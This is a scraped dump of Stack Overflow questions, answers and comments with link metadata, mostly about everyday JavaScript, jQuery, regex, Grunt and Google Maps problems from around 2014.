has body: I have a Javascript in my HTML code. I want navigate through the links ending with "Doc". In this HTML there is only one link, called SunnydataDoc. So I want search this string on this page and if there are existing any links ending with "Doc", I want to navigate further down in those pages. Could you please help me out in this? I've heard I can use regex and match methods in combination with Jsoup. Here my code. var data = {"totalRecords": 2, "sort": "name", "startIndex": 0, "dir": "asc", "records": [{"raw_name": "samia/export/sunnydata", "last_changeset": "\n \n r17:f602409eba26 \n \n", "atom": "\n \n", "owner": "ownerID (Owner)", "rss": "\n \n", "name": "\n \n \n \n\n \n\n \n Sunnydata\n \n \n", "last_rev_raw": 17, "state": "\n \n Created \n \n", "menu": "\n \n\n \n \n \n \n \n \n Summary\n \n \n \n \n \n \n \n Changelog\n \n \n \n \n \n \n \n Files\n \n \n \n \n \n \n \n Fork\n \n \n \n", "desc": "GHU Sunnydataimport", "last_change": "\n 10 days and 16 hours ago\n"}, {"raw_name": "samia/export/sunnydatadoc", "last_changeset": "\n \n r0:9ed1679c7a35 \n \n", "atom": "\n \n", "owner": "ownerID (Owner)", "rss": "\n \n", "name": "\n \n \n \n\n \n\n \n SunnydataDoc\n \n \n", "last_rev_raw": 0, "state": "\n \n Created \n \n", "menu": "\n \n\n \n \n \n \n \n \n Summary\n \n \n \n \n \n \n \n Changelog\n \n \n \n \n \n \n \n Files\n \n \n \n \n \n \n \n Fork\n \n \n \n", "desc": "GHU Sunnydataimport (Dokumentation)", "last_change": "\n 4 months and 6 days ago\n"}]}; var myDataSource = new YAHOO.util.DataSource(data); myDataSource.responseType = YAHOO.util.DataSource.TYPE_JSON; So in this example I have this link: href=\"/samia/export/sunnydataDoc\". I want to take this link and go in there with my code. And this is my Java code. public class JScripttest { public static void main(String[] args) throws IOException { Response res = Jsoup .connect( "url") .data("username", "username", "password", "password") .method(Method.POST).execute(); Map<String, String> loginCookies = …
answer count: 1
tagged with: javascript

http://stackoverflow.com/comment/40087231
score: 0
type: Comment
has text: GREAT! It's working! Do I have to add anything to make it transition to the next slide after the video is done?
type: AnswerComment
comment on: http://stackoverflow.com/a/25653003

http://stackoverflow.com/a/25609926
score: 5
type: AcceptedAnswer
downvote count: 0
has body: You're working with strings, not numbers. The string "45" is not greater than the string "5". You can force the strings to be interpreted numerically if you want: document.getElementById("mes").innerHTML = +startNumber &gt; +endNumber;
type: Answer
has comment: http://stackoverflow.com/comment/40006647
has comment: http://stackoverflow.com/comment/40006677
has comment: http://stackoverflow.com/comment/40006704
accepted answer of: http://stackoverflow.com/q/25609883
upvote count: 5
answers question: http://stackoverflow.com/q/25609883

http://stackoverflow.com/q/25595403
tagged with: regex
has answer: http://stackoverflow.com/a/25595510
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39980347
has title: Match @(\w+) and replace in javascript
type: Question
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25595444
has body: I'm trying to match @(\w+) in a div content and remove it. Here's what i've tried : http://jsfiddle.net/mxgde6m7/1/ . @(\w+) works , but it doesn't replace with space. var content = document.getElementById('contentbox'); var find = '@(\w+)'; var reg = new RegExp(find, 'g'); var result = content.innerHTML.replace(reg, ' '); alert(result); @d test What i want: test Thanks in advance. EDIT Okay, one problem solved, another one came up. My script http://jsfiddle.net/mxgde6m7/9/ works perfectly there, but when i try it on my website, only a half works. The last part where it should replace @(\w+) with space doesn't work at all. If i copy/paste the CONTENT of the function in console(chrome), it works , but if i paste the function and i call it, it doesn't work. Please help ! I'm stuck.
tagged with: javascript

http://stackoverflow.com/comment/40048482
has text: it doesn't make it insecure, but **ANY** php warnings/errors that the code causes will get embedded in the JS and cause syntax errors at best. You have to make DAMN sure that whatever your PHP is doing produces valid javascript at the end of the line, otherwise the entire JS code block is terminated/blacklisted
type: Comment
comment on: http://stackoverflow.com/q/25632318
type: QuestionComment
score: 2

http://stackoverflow.com/comment/40064033
comment on: http://stackoverflow.com/a/25641397
has text: I am using PhotoSwipe. I tried your way. But not working
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25620526
score: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40027650
has title: Make geolocation work on Safari without Wifi?
answer count: 0
type: UnansweredQuestion
tagged with: geolocation
has comment: http://stackoverflow.com/comment/40028514
has comment: http://stackoverflow.com/comment/40027954
tagged with: safari
has comment: http://stackoverflow.com/comment/40027511
has comment: http://stackoverflow.com/comment/40028011
has comment: http://stackoverflow.com/comment/40028100
has body: I'm simply using this: navigator.geolocation.getCurrentPosition It works on Chrome, Firefox etc., but not on Safari. I read that it should work only when the Wifi is enabled. Is there a way to make it work without needing Wifi? Perhaps using Modernizr? Using AngularJS, here's my exact code: $scope.showPosition = function (position) { var lat = position.coords.latitude; var lng = position.coords.longitude; }; $scope.showError = function (error) { switch (error.code) { case error.PERMISSION_DENIED: $scope.error = "User denied the request for Geolocation." break; case error.POSITION_UNAVAILABLE: $scope.error = "Location information is unavailable." break; case error.TIMEOUT: $scope.error = "The request to get user location timed out." break; case error.UNKNOWN_ERROR: $scope.error = "An unknown error occurred." break; } $scope.$apply(); }; $scope.getLocation = function () { if (navigator.geolocation) { navigator.geolocation.getCurrentPosition($scope.showPosition, $scope.showError); } else { alert("Geolocation is not supported by this browser."); } }; $scope.getLocation(); Without using Wifi, the error thrown is: Location information is unavailable.
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40027894

http://stackoverflow.com/comment/39924295
score: 0
type: AnswerComment
type: Comment
has text: Yes this code is right but it completely disables the menu option but i have to dynamically select the menu entries to be displayed to different users. Anyway thanks
comment on: http://stackoverflow.com/a/25561912

http://stackoverflow.com/comment/40146083
comment on: http://stackoverflow.com/a/25686611
type: AnswerComment
has text: if the text within the script covers several lines, you may need to use a modifier; see http://perldoc.perl.org/perlre.html#Modifiers
score: 0
type: Comment

http://stackoverflow.com/comment/40178956
type: QuestionComment
type: Comment
has text: @charlietfl : Actually I am a newbie here. I purchased a template and trying to modify it. The data-filter filters images based on the data-category. So I have 4 tabs and when I select one, only those are displayed which meets the category. Earlier I had to hard code the section DOM for each image. Now I want it to be dynamic so that it automatically fetches all images from PHP + ajax
comment on: http://stackoverflow.com/q/25704493
score: 0

http://stackoverflow.com/a/25642577
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25641079
has comment: http://stackoverflow.com/comment/40070094
type: Answer
answers question: http://stackoverflow.com/q/25641079
has comment: http://stackoverflow.com/comment/40067385
score: 0
has body: You have to use Bresenham's line alogrithm Try with this code or with this jsfiddle var a = [0,0]; var b = [14,9]; // coordinates between two points var coordinates = []; var deltax = b[0] - a[0]; var deltay = b[1] - a[1]; var y = a[1]; var error = 0; var deltaError = Math.abs(deltay/deltax); // x axis for(var x = a[0]; x &lt;= b[0]; x++){ coordinates.push([x,y]); error = error + deltaError; if(error &gt;= 0.5){ y = y + 1 error = error - 1; } } var containsCoordinate = (function (coordArray) { return function (x,y) { for (var i = 0; i &lt; coordArray.length; i++) { if (coordArray[i][0] == x &amp;&amp; coordArray[i][1] == y) { return true; } } return false; } })(coordinates); var table = $('&lt;table&gt;'); $('body').append(table); var mx = 15; var my = 10; for(y = 0; y &lt; my; y++){ var tr = $('&lt;tr&gt;'); for(x = 0; x &lt; mx; x++){ var td = $('&lt;td&gt;'); td.attr('id', 'cell-'+x+'-'+y); td.html("X:"+x + "Y:"+y); if(containsCoordinate(x,y)){ td.css("background-color","yellow"); } tr.append(td); } $(table).append(tr); } Hope this helps,

header
type: Tag
tag name: header
tags question: http://stackoverflow.com/q/25603817

http://stackoverflow.com/comment/39901460
comment on: http://stackoverflow.com/a/25552975
type: AnswerComment
score: 0
type: Comment
has text: i would like to know the more efficient way that you described :)

http://stackoverflow.com/a/25655600
answers question: http://stackoverflow.com/q/25655072
has body: Here's an answer which may contain traces of mischief. In the interest of extending @Jon's call for understanding through learning, here's a simple yet complex solution: var bstr = JSON.stringify(b); for (var i = a.length - 1; i &gt;= 0; i--) { if (!~bstr.indexOf(JSON.stringify(a[i]))) { c.push(a[i]); } } Enjoy! EDIT: fix typo.
score: 0
type: Answer

http://stackoverflow.com/comment/40165197
comment on: http://stackoverflow.com/q/25657587
type: QuestionComment
has text: Yes, that is exactly what I am saying
type: Comment
score: 1

http://stackoverflow.com/a/25666739
score: -1
upvote count: 0
has comment: http://stackoverflow.com/comment/40142017
type: Answer
downvote count: 1
answers question: http://stackoverflow.com/q/25666555
has body: try this: $('iframe').bind('load',function(){ var $win=$('iframe').get(0).contentWindow; $win.scroll(function() { if($win.scrollTop() + $(window).height() == $(document).height()) { alert("Bottom Reached!"); } }); });

http://stackoverflow.com/a/28289704
answers question: http://stackoverflow.com/q/25611356
has body: Firebase: How to display a thread of items in reverse order with a limit for each request and an indicator for a "load more" button. This will get the last 10 items of the list FBRef.child("childName") .limitToLast(loadMoreLimit) // loadMoreLimit = 10 for example This will get the last 10 items. Grab the id of the last record in the list and save for the load more functionality. Next, convert the collection of objects into and an array and do a list.reverse(). LOAD MORE Functionality: The next call will do two things, it will get the next sequence of list items based on the reference id from the first request and give you an indicator if you need to display the "load more" button. this.FBRef .child("childName") .endAt(null, lastThreadId) // Get this from the previous step .limitToLast(loadMoreLimit+2) You will need to strip the first and last item of this object collection. The first item is the reference to get this list. The last item is an indicator for the show more button. I have a bunch of other logic that will keep everything clean. You will need to add this code only for the load more functionality. list = snapObjectAsArray; // The list is an array from snapObject lastItemId = key; // get the first key of the list if (list.length &lt; loadMoreLimit+1) { lastItemId = false; } if (list.length &gt; loadMoreLimit+1) { list.pop(); } if (list.length &gt; loadMoreLimit) { list.shift(); } // Return the list.reverse() and lastItemId // If lastItemId is an ID, it will be used for the next reference and a flag to show the "load more" button. }
downvote count: 0
upvote count: 2
type: Answer
score: 2

http://stackoverflow.com/comment/40169639
has text: I guess this trick will work for you: http://stackoverflow.com/a/2897639/2903251
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25699390
score: 1

http://stackoverflow.com/a/25671225
has body: This sounds like a pub/sub problem. This would let the module publish a specific custom event when state changes and the index (or any other module) can subscribe to that event if needed. The module does not communicate with anything besides the pub/sub controller. Here is a good link: http://addyosmani.com/resources/essentialjsdesignpatterns/book/#observerpatternjavascript I find myself referring to various sections of this page often.
downvote count: 0
type: Answer
score: 1
answers question: http://stackoverflow.com/q/25670672
upvote count: 1

http://stackoverflow.com/comment/39908660
score: 0
type: Comment
type: QuestionComment
has text: does it matter if my homepage extension is .php ?
comment on: http://stackoverflow.com/q/25556807

http://stackoverflow.com/q/25559815
has comment: http://stackoverflow.com/comment/39914661
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/39915938
has answer: http://stackoverflow.com/a/25561270
score: -1
tagged with: mysql
has answer: http://stackoverflow.com/a/25561017
answer count: 2
has comment: http://stackoverflow.com/comment/39917424
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/39928481
has title: Runescape Tracker - What do i need to know to make one?
tagged with: http://stackoverflow.com/tag/html
tagged with: css
upvote count: 0
has body: I'm new to the programming world and i'm eager to learn but i've heard that the best way to learn is by having a nice project to work on. And i've always wanted to make a Skill Tracker for my clan. Could you guys give me any advices on what i should learn before being able to start on such a project. I'm basically looking to make something like: http://runetrack.com/competitions/ I'm familiar with variables, loops, if else statements etc etc. But whenever i try to make a tracker or a simple highscore i get lost because i don't know where to start. Cheers.
type: UnansweredQuestion
tagged with: php

http://stackoverflow.com/comment/40066003
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25641018
has text: @hey there could be some another problem with your code. I can see if you post your code in a fiddle. The solution that i have given is a very common one and used for validations etc.

http://stackoverflow.com/comment/40022302
score: 0
type: Comment
type: AnswerComment
has text: Similar question: http://stackoverflow.com/questions/25618453/changing-ul-background-color-on-button-click
comment on: http://stackoverflow.com/a/25589688

http://stackoverflow.com/comment/40155173
has text: So I finally got it to work using your example when I changed my controller. I think something was wrong with pagination so I just included @pits = Pit.order('created_ASC') in my create and index action. Thanks to both of you for time and efforts. I do really appreciate it.
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25662587
type: Comment

http://stackoverflow.com/comment/40021537
has text: you can use the attribute selector $('input[name=field_tablica[und][0][fid]]') // matches exactly 'field_tablica[und][0][fid]'
comment on: http://stackoverflow.com/q/25617906
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40177529
score: 0
comment on: http://stackoverflow.com/q/25703558
type: QuestionComment
has text: Is the problem that when you open the dropdown list it shows all the items, and you don't want it to show any until they search? If so, set minimumInputLength: 1
type: Comment

http://stackoverflow.com/comment/40117764
has text: You're talking about a different application. If he's sending a multi-dimensional array (rather than the array in the question), what would you think he only cares about the first dimension?
type: AnswerComment
comment on: http://stackoverflow.com/a/25656383
score: 0
type: Comment

http://stackoverflow.com/q/25616487
has answer: http://stackoverflow.com/a/25616522
answer count: 1
downvote count: 1
has title: How to store coordinates into different variables??
accepted answer: http://stackoverflow.com/a/25616522
tagged with: google-maps
type: AnsweredQuestion
tagged with: javascript
score: 1
favorite count: 0
type: Question
has body: I use getBounds() in my google map script code to obtain latitude &amp; longitude bounds of current viewport. I use getSouthWest() &amp; getNorthEast() to obtain the position of south-west &amp; north-east bounds of this map. After adding the google map,I gave the following code inside the Javascript tags. var bounds = map.getBounds(); var southWest = bounds.getSouthWest(); var northEast = bounds.getNorthEast(); When I used alert() to display both of the variables,I successfully obtained the bounds. alert(southWest) gives SouthWest: (-2.871967531323266, 57.88463437500002) as output. alert(northEast) gives NorthEast: (18.75527829568889, 97.43541562500002) as output. I'm singing hallelujah on fourth of July. :) :) :P Now I am trying to store these values into 4 different variables. I want to store -2.871967531323266 into variable w, 57.88463437500002 into variable x, 18.75527829568889 into variable y, 97.43541562500002 into variable z. Is the output that I got an array??? How can I do this??
upvote count: 2

http://stackoverflow.com/q/25623925
downvote count: 0
score: 1
type: Question
tagged with: javascript
tagged with: gruntjs
upvote count: 1
answer count: 1
has body: As I'm diving in to grunt tasks etc I have some questions about concatting/uglyfing/compressing JavaScript and CSS files. JavaScript is not the big issue for me but CSS is. Consider a file structure like this: -resources -- js -- css -- vendor --- jquery - jquery.min.js --- fancybox - fancybox.min.js - fancybox.min.css - sprite.png --- bootstrap - bootstrap.min.js - bootstrap.min.css And I want to concat/uglify/compress all the CSS and Javascript files in the vendor folder into: - resources -- js - project.min.js -- css - project.min.css How do I do keep references for used images in the CSS intact?? For example, fancybox.min.css uses a url("..") value for background.
favorite count: 0
has answer: http://stackoverflow.com/a/25624657
type: UnansweredQuestion
has title: file references when concatting / uglyifing vendor scripts in grunt
tagged with: css

http://stackoverflow.com/comment/40055958
comment on: http://stackoverflow.com/a/25636765
type: Comment
has text: this is also appening an empty field
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40086854
type: AnswerComment
has text: Internally, the library no longer needed it, and I guess the hope was that you wouldn't either. : - )
type: Comment
comment on: http://stackoverflow.com/a/25653415
score: 1

http://stackoverflow.com/q/25706810
has title: Using timeline google chart api with php - DataTable initialization
type: UnansweredQuestion
tagged with: mysql
type: Question
has body: I am trying to implement the timeline google chart https://developers.google.com/chart/interactive/docs/gallery/timeline but using date format is creating some errors in generating the chart. All dates are set default to dec 31 1969. I know that I am passing a wrong format of date. How can I fix this. tried implementing in two ways : $table['cols'] = array( array('id' =&gt; 'Role', 'type' =&gt; 'string'), array('id' =&gt; 'Name', 'type' =&gt; 'string'), array('id' =&gt; 'Start', 'type' =&gt; 'date'), array('id' =&gt; 'End', 'type' =&gt; 'date') ); One way: $temp[] = array('v' =&gt; (string) $row['FirstName']); /*mysql and mysqli security please ignore */ $temp[] = array('v' =&gt; (string) $row['FirstName']); $temp[] = array('v' =&gt; date('D M d Y H:i:s O',$row['HireDate'])); /*tried without date function also*/ $temp[] = array('v' =&gt; date('D M d Y H:i:s O',$row['ExpectedEndDate'])); $rows[] = $temp; Other way: $temp[] = $row['FirstName']; $temp[] = $row['FirstName']; $temp[] =date('D M d Y H:i:s O',$row['HireDate']); $temp[] =date('D M d Y H:i:s O',$row['ExpectedEndDate']); $rows[] = $temp; and then storing it into table and converting it into json. $table['rows'] = $rows; $jsonTable = json_encode($table); storing it as javascript variable using google visualization DataTable as follows: var dataTable = new google.visualization.DataTable(&lt;?php echo $jsonTable;?&gt;); But because of date format conflict (I think) the chart is not being outputted On inspecting the final generated output the variable is storing the value as : var dataTable = new google.visualization.DataTable({"cols":[{"id":"Role","type":"string"},{"id":"Name","type":"string"},{"id":"Start","type":"date"},{"id":"End","type":"date"}],"rows":[[{"v":"bob"},{"v":"bob"},{"v":"Wed Dec 31 1969 16:33:28 -0800"},{"v":"Wed Dec 31 1969 16:33:33 -0800"}],[{"v":"alan"},{"v":"alan"},{"v":"Wed Dec 31 1969 16:33:28 -0800"},{"v":"Wed Dec 31 1969 16:33:33 -0800"}]]}); Can anyone suggest how to make it work. Thank…
score: 0
tagged with: google-visualization
answer count: 1
tagged with: arrays
tagged with: javascript
has answer: http://stackoverflow.com/a/25735732
tagged with: php
has comment: http://stackoverflow.com/comment/40183376
has comment: http://stackoverflow.com/comment/40183347

http://stackoverflow.com/comment/39923943
has text: so what do you mean by `responding so many times`? you should get one response each time an input is changed in that case. is it more often than that?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25565013
score: 1

http://stackoverflow.com/a/25699487
downvote count: 0
has body: Write your plugin like this (function($) { $.fn.codigo = function() { return this.each(function(idx, elem) { $(elem).text(function(idx, str) { return str + str; }); }); }; })(jQuery); JSFIDDLE DEMO Check out the .text(fn) API &mdash; fn receives index of element and str set to the existing text. The returned value of the function sets the new text. The above represents your pretty standard jQuery Plugin boilerplate. However, if this is the real goal of your plugin, you can simplify it a bit more. jQuery.fn.codigo = function() { return this.text(function(idx, str) { return str + str; }); }; This will be quite fast as it's minimizing function calls by quite a bit (compared to other solutions provided here).
type: Answer
upvote count: 3
has comment: http://stackoverflow.com/comment/40177691
score: 3
answers question: http://stackoverflow.com/q/25699445

http://stackoverflow.com/comment/39998850
has text: @Sangeetha: See this. do you want to like this http://jsfiddle.net/vphb0rfm/
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25605031

http://stackoverflow.com/comment/40056507
type: QuestionComment
comment on: http://stackoverflow.com/q/25637161
type: Comment
score: 0
has text: please add the javascript code (as that is the part where you get no response)

http://stackoverflow.com/comment/40128017
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25676279
has text: Making _n_ (I'm guessing a lot) IDs for a class of elements can probably be done a better way now to avoid tremors of headaches later.

http://stackoverflow.com/comment/40004489
type: Comment
comment on: http://stackoverflow.com/q/25608620
score: 0
type: QuestionComment
has text: Exactly what sort of XML document are you talking about? There's not just one clear way to do that; it could mean in infinitude of different output formats.

http://stackoverflow.com/comment/40083997
score: 0
type: Comment
has text: @Regent I find it pretty simple to read. Select li that has div.title containing 'Accommodation Type'. It is pretty linear. Personal opinion obliviously!
comment on: http://stackoverflow.com/a/25652138
type: AnswerComment

http://stackoverflow.com/a/25656642
answers question: http://stackoverflow.com/q/25656556
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40092243
has body: Let me suggest that you use jQuery: $(".inputElementClass").blur(function(){ //Do what you need to do... }); In regular old javascript: blurMe = document.getElementsByClassName(".blurClass"); blurMe.addEventListener("blur", function() { //Do what you need to do. }, true);
upvote count: 1

http://stackoverflow.com/comment/40857954
score: 0
type: Comment
type: QuestionComment
has text: Have you tried to move the `sigInst.draw();` outside of the sigInst.draw(); overnodes` event listener callback?
comment on: http://stackoverflow.com/q/25647139

http://stackoverflow.com/comment/40132653
has text: Please don't bypass the jsfiddle validation... post your code in the question
comment on: http://stackoverflow.com/q/25679371
score: 2
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25563405
tagged with: mobile
tagged with: javascript
has comment: http://stackoverflow.com/comment/39920952
has comment: http://stackoverflow.com/comment/39920884
has answer: http://stackoverflow.com/a/25563693
answer count: 1
downvote count: 0
has body: need an idea, I am stuck in quite the conundrum. I am building a responsive future proof webdesign. On desktop and similar devices: I have a menu which on hover does a css animation to desplay a description of what hides behind the link and on click navigates to a new page. On mobile devices: I wish to have a touch-event that triggers the hover (thus desplaying the description) and on touch number 2 it should then navigate to the new page. the above is doable, but how to do it without checking user-agents, this is my situation. How does one go about future proofing the above. Any great ideas are more then welcome. :)
tagged with: jquery
favorite count: 0
has title: click on mobile/tablet, hover on other devices (future-proofing)
has comment: http://stackoverflow.com/comment/39920712
tagged with: css
has comment: http://stackoverflow.com/comment/39921212
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25563693
has comment: http://stackoverflow.com/comment/39920781
score: 1
upvote count: 1
type: Question
tagged with: responsive-design

http://stackoverflow.com/a/25615030
score: 0
has comment: http://stackoverflow.com/comment/40020311
has comment: http://stackoverflow.com/comment/40021487
has comment: http://stackoverflow.com/comment/40016204
has comment: http://stackoverflow.com/comment/40020522
has comment: http://stackoverflow.com/comment/40019651
type: Answer
has body: You can use ".is(":checked")" to check the state of check box as follows: &lt;script type="text/javascript"&gt; $(document).ready(function(){ $("#form").submit(function(event){ if ($("input[type='checkbox']").is(":checked")){ if ($("input[name$='Mail']").val() !== "") { alert("内容に同意ください。"); event.preventDefault(); } } }); }); &lt;/script&gt; If you want to check the checkbox only if mail is not empty then you will have to: &lt;script type="text/javascript"&gt; $(document).ready(function(){ $("#form").submit(function(event){ if ($("input[name$='Mail']").val() !== "") { if ($("input[type='checkbox']").is(":checked")){ alert("内容に同意ください。"); event.preventDefault(); } } }); }); &lt;/script&gt;
answers question: http://stackoverflow.com/q/25614901
has comment: http://stackoverflow.com/comment/40019402
has comment: http://stackoverflow.com/comment/40019026
has comment: http://stackoverflow.com/comment/40018967
has comment: http://stackoverflow.com/comment/40019301

http://stackoverflow.com/comment/39956992
type: AnswerComment
type: Comment
has text: That's exactly what the `-1` is there for, to loop to `n-1` in case of 100%.
comment on: http://stackoverflow.com/a/25582406
score: 0

http://stackoverflow.com/q/25683933
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40146833
has comment: http://stackoverflow.com/comment/40140630
tagged with: javascript
has body: I have the following show/hide function: // Show/hide filters on mobile // $("#openMobileFilters").click(function(){ showOrHideFilter(true); }); $(".closeFilters").click(function(){ showOrHideFilter(false); }); function showOrHideFilter(show) { $("#results-container, .navbar-inverse" ).toggleClass( "hidden-xs", show ); $("#filter-column").toggleClass("hidden-xs", !show); } I wanted to add animation when the class is toggled. Something like: .animate({ width: 'hide' }); I was unsure of how to combine this into the function? Many thanks
answer count: 1
downvote count: 0
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40140746
has comment: http://stackoverflow.com/comment/40140644
type: UnansweredQuestion
has title: Show hide animate
has answer: http://stackoverflow.com/a/25684019
score: 1
has comment: http://stackoverflow.com/comment/40140783

http://stackoverflow.com/q/25557669
has body: I am a bower newbie. How can I download only a single file from GitHub instead of the entire set of files? I just want the latest fuelux.min.js file from this link and I want to put it in my plugins directory. { "name": "my app", "version": "1.0", "dependencies": { "angular-local-storage": "latest", "fuelux":"latest" }, "install" : { "path" : { "js": "plugins" } } }
has comment: http://stackoverflow.com/comment/39910280
favorite count: 0
has answer: http://stackoverflow.com/a/34140978
has title: Bower.json install only single file
has answer: http://stackoverflow.com/a/25557761
has answer: http://stackoverflow.com/a/32827040
tagged with: bower
answer count: 4
possible better answer: http://stackoverflow.com/a/41419928
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/41419928
score: 1
upvote count: 1
type: Question
linked to: http://stackoverflow.com/q/30879558
accepted answer: http://stackoverflow.com/a/25557761
tagged with: bower-install
tagged with: javascript
tagged with: fuelux
downvote count: 0

http://stackoverflow.com/q/25634627
has answer: http://stackoverflow.com/a/25635036
downvote count: 0
answer count: 1
favorite count: 0
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: php
has comment: http://stackoverflow.com/comment/40052484
has body: I'm using codeigniter, my program is fine in localhost but get mistakes online. It's hard to describe but everything like pictures tell: Even worse, if I write code in js like this: var a='{"status":0,"message":"Operation succeed!"}'; var b=$.parseJSON('{"status":0,"message":"Operation succeed!"}'); It becomes: And throw exceptions that I can't analyze JSON codes.
has title: Blank(red point) before print values
score: 1
has comment: http://stackoverflow.com/comment/40052396
tagged with: http://stackoverflow.com/tag/json
tagged with: codeigniter
upvote count: 1
has comment: http://stackoverflow.com/comment/40052446
type: Question
tagged with: javascript

http://stackoverflow.com/comment/39899396
has text: The fadeIn / fadeOut jQuery functions are very limited on what kinds of elements they will work on.
score: 0
comment on: http://stackoverflow.com/q/25552136
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25693416
favorite count: 0
linked to: http://stackoverflow.com/q/6309214
tagged with: ajax
upvote count: 5
tagged with: http://stackoverflow.com/tag/html
has body: This might be a silly question but it is really matter to me to know if we really STILL need to wrap our input elements in side a &lt;form&gt; even when we are using jQuery Ajax to Pass and Retrieve data from the Server or Database? I mean while Ajax method has options like type , url, data, and even dataType like below $.ajax({ type: "POST", url:"process.php", data: data, dataType: "JSON" }); Do we still need the Form? From the Security aspect I think we can validate the user inputs without having the form element but I am not sure that it correct or not?! If you think we still need the Form so how we should deal with Form attributes like action and method? should we leave them blank? Thanks
has title: Do I still need a Form element when using a AJAX request?
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25693441
downvote count: 0
has answer: http://stackoverflow.com/a/25693446
accepted answer: http://stackoverflow.com/a/25693446
tagged with: forms
type: Question
score: 5
has comment: http://stackoverflow.com/comment/40158718
tagged with: javascript
has comment: http://stackoverflow.com/comment/40158707
possible better answer: http://stackoverflow.com/a/25693441
answer count: 2
has comment: http://stackoverflow.com/comment/40158731
tagged with: jquery

http://stackoverflow.com/a/25642792
score: 0
answers question: http://stackoverflow.com/q/25641948
type: Answer
has body: This line of code: document.getElementById('a2').style.backgroundColor = 'black'; adds an inline style which is stronger than :hover styling coming from the stylesheet. Instead of adding the inline style, reset it to nothing: document.getElementById('a2').style.backgroundColor = '';

http://stackoverflow.com/q/25675436
tagged with: javascript
tagged with: jquery
has title: JQuery UI pseudo selector base widget class
has body: I've got a base widget class simply called "baseWidget" and a bunch of various widgets that extend from this class. I'm hoping to find a way to select the baseWidget class with a pseudo selector rather than simply having a separate selector for each class. $(':ssi-AmpMeter') works great, $(':ssi-baseWidget') returns an empty set. The goal in the long run is to have each widget that extends from baseWidget to run a function that is defined in the baseWidget class. My hope was something along the lines of: $.widget("ssi.baseWidget", { ... Removed to cut down on size ... testFunction: function(){ console.log("yay"); } }); $.widget( "ssi.AmpMeter", $.ssi.baseWidget, { .. Removed to cut down size .. }); // Instantiate an AmpMeter widget and add it to the DOM $("&lt;li&gt;").AmpMeter(.. Removed for size ..); .. Later in code .. $(':ssi-baseWidget').baseWidget("testFunction"); However, this doesn't work at all and instead gives me an invalid pseudo selector error in the Chrome console. Any thoughts on how to go about doing this successfully?
upvote count: 1
favorite count: 0
type: UnansweredQuestion
answer count: 0
downvote count: 0
score: 1
type: Question

http://stackoverflow.com/a/25579243
has comment: http://stackoverflow.com/comment/39950960
type: Answer
has comment: http://stackoverflow.com/comment/39950935
accepted answer of: http://stackoverflow.com/q/25579213
has comment: http://stackoverflow.com/comment/39950997
answers question: http://stackoverflow.com/q/25579213
has comment: http://stackoverflow.com/comment/39951527
has comment: http://stackoverflow.com/comment/39951080
has comment: http://stackoverflow.com/comment/39950943
has comment: http://stackoverflow.com/comment/39951523
has comment: http://stackoverflow.com/comment/39951156
has comment: http://stackoverflow.com/comment/39951489
score: 0
has comment: http://stackoverflow.com/comment/39951503
has comment: http://stackoverflow.com/comment/39951711
type: AcceptedAnswer
has body: Do it in a slight different way. Remove onclick = "return Validate()" from the button and put that inside the click function like this $("#submit").click(function(){ var valid = Validate(); if(valid){ /// Then your rest of process here. } }); Hope that works. This will just check whether the phone number has 10 digits function Validate() { var mobile = document.getElementById("mobile").value; var remobile = document.getElementById("remobile").value; if(isNaN(mobile) || isNaN(remobile)){ alert("Invalid. Mobile and re mobile should be numbers only."); return false; } if(mobile.length != 10){ alert("Invalid number. It should be 10 digits only."); return false; } if(remobile.length != 10){ alert("Invalid Re mobile number. It should be 10 digits only."); return false; } if(mobile != remobile){ alert("Mobile and remobile does not match!"); return false; } alert("Valid Number."); return true; }

http://stackoverflow.com/comment/39966389
comment on: http://stackoverflow.com/a/25586411
has text: -1 for using label controls. -1 for pushing what into separate arrays, when it would make sense to push the pair of values into a single array.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25682356
answer count: 0
type: UnansweredQuestion
has body: I search a way to schedule Grunt task with a Grunt plugin. I found nothing. Is that possible to look at the time with "watch" and execute a task if it's time ?
tagged with: grunt-contrib-watch
has title: Schedule Grunt task
has comment: http://stackoverflow.com/comment/48129784
tagged with: gruntjs
type: Question
upvote count: 4
downvote count: 0
tagged with: javascript
score: 4
tagged with: scheduled-tasks
favorite count: 0

http://stackoverflow.com/q/25688015
type: AnsweredQuestion
type: Question
